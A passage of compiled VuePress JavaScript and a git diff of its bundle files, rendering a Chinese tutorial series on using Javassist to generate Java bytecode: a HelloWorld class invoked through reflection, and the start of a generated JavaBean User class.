class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("STATIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置方法体")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(\\"Javassist Hello World by 冰河(公众号:冰河技术)\\");"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//将生成的类的class文件输出的磁盘")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("writeFile")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//返回HelloWorld的Class实例")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("toClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),s._v(" clazz "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createHelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Object")]),s._v(" obj "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" clazz"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("newInstance")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Method")]),s._v(" mainMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" clazz"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"main"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n mainMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("invoke")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("obj"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br")])]),t("p",[s._v("接下来,我们根据上述代码来看看Javassist是如何生成完整字节码的。")]),s._v(" "),t("p",[s._v("(1) 在createHelloWorld()方法中创建一个ClassPool,ClassPool本质上就是个CtClass对象容器。")]),s._v(" "),t("p",[s._v("(2) 调用ClassPool的makeClass()方法,传入完整的包名+类名生成一个空的类信息。这里传入的完整的包名+类名是"),t("code",[s._v("io.binghe.bytecode.javassist.test.HelloWorld")]),s._v("。")]),s._v(" "),t("p",[s._v("(3) 给类添加方法,并设置方法的返回类型、方法名称、参数名(入参和出参)、访问修饰符以及方法体。这里设置的完整方法体如下:")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" var0"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Javassist Hello World by 冰河(公众号:冰河技术)"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("(4) 尽管我们在上述代码中没有显示的创建无参构造函数,但是在编译时,Javassist会自动创建一个HelloWorld类的无参构造函数。")]),s._v(" "),t("p",[s._v("(5) 通过 CtClass的writeFile()方法将内存中的类信息输出到磁盘,这样我们就可以通过IDEA清晰的看到Javassist生成的HelloWorld类了。")]),s._v(" "),t("p",[s._v("(6) 最终在createHelloWorld()方法中调用CtClass的toClass()方法返回Class对象。")]),s._v(" "),t("p",[s._v("(7) 在main()方法中调用createHelloWorld()方法获取Class对象。")]),s._v(" "),t("p",[s._v("(8) 通过反射实例化对象,并通过反射调用生成的HelloWorld类的main()方法。")]),s._v(" "),t("h2",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("p",[s._v("运行GenerateHelloWorldClass类的main()方法,会在顶级工程目录下的"),t("code",[s._v("io/binghe/bytecode/javassist/test")]),s._v(" 目录下生成HelloWorld.class文件,具体如下所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/83bcf5bfa3e8396a41c62c90d641d58e.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("查看IDEA的输出信息时,发现会输出如下内容。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Javassist Hello World by 冰河(公众号:冰河技术)\n\nProcess finished with "),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("exit")]),s._v(" code "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h2",{attrs:{id:"案例总结"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例总结"}},[s._v("#")]),s._v(" 案例总结")]),s._v(" "),t("p",[s._v("我们使用Javassist实现了创建一个HelloWorld类的功能,字节码编程听起来貌似挺难的,但是在Javassist强大的API下,实现起来还是蛮简单的。")]),s._v(" "),t("p",[s._v("在接下来的一段时间里,冰河会持续输出关于字节码编程的文章,让我们一起精通字节码编程。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[t("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file diff --git a/assets/js/cg-341.js b/assets/js/cg-341.js index e13c31f8468faea7c6c072f45576c864a2525613..2887a9db73d3b39fcdc0120b73d2c7ee075a829e 100644 --- a/assets/js/cg-341.js +++ b/assets/js/cg-341.js @@ -1 +1 @@ -(window.webpackJsonp=window.webpackJsonp||[]).push([[341],{628:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"字节码编程-使用javassist生成javabean"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-使用javassist生成javabean"}},[s._v("#")]),s._v(" 字节码编程 | 使用Javassist生成JavaBean")]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("在实际工作过程中,我们可以通过对Java的字节码进行插桩,以便拦截我们需要拦截的类和方法,对这些类和方法进行改造或者直接动态生成相应的类来实现拦截的逻辑。")]),s._v(" "),t("p",[s._v("这种方式几乎不需要修改源程序就能够达到我们想要的效果。今天,我们就一起使用Javassist来动态生成JavaBean对象。")]),s._v(" "),t("p",[s._v("掌握这个知识点后以便后续我们在手撸DAPM(分布式性能管理系统)时能够动态生成JavaBean对象来反序列化客户端发送的数据,或者从服务端响应回来的数据。")]),s._v(" "),t("p",[s._v("相关的案例程序代码可以关注公众号:"),t("strong",[s._v("冰河技术")]),s._v(" 获取,也可以直接到Github和Gitee获取。")]),s._v(" "),t("blockquote",[t("p",[s._v("Github:https://github.com/sunshinelyz/bytecode")]),s._v(" "),t("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),t("p",[s._v("注:本文的源代码对应着 "),t("code",[s._v("bytecode-javassist-03")]),s._v(" 的程序源代码。")]),s._v(" "),t("h2",{attrs:{id:"开发环境"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),t("ul",[t("li",[s._v("JDK 1.8")]),s._v(" "),t("li",[s._v("IDEA 2018.03")]),s._v(" "),t("li",[s._v("Maven 3.6.0")])]),s._v(" "),t("h2",{attrs:{id:"maven依赖"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#maven依赖"}},[s._v("#")]),s._v(" Maven依赖")]),s._v(" "),t("p",[s._v("在项目的pom.xml文件中添加如下环境依赖。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("3.20")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v(".0")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("GA")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("properties"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("groupId"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("artifactId"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token generics"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("$"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("version"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("dependency"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("<")]),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),s._v("dependencies"),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("h2",{attrs:{id:"案例效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),t("p",[s._v("整体案例的效果比较简单,就是通过运行我们写的程序,能够动态生成User类的class字节码。如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("binghe"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bytecode"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bean")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("private")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("User")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" var1"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("return")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token 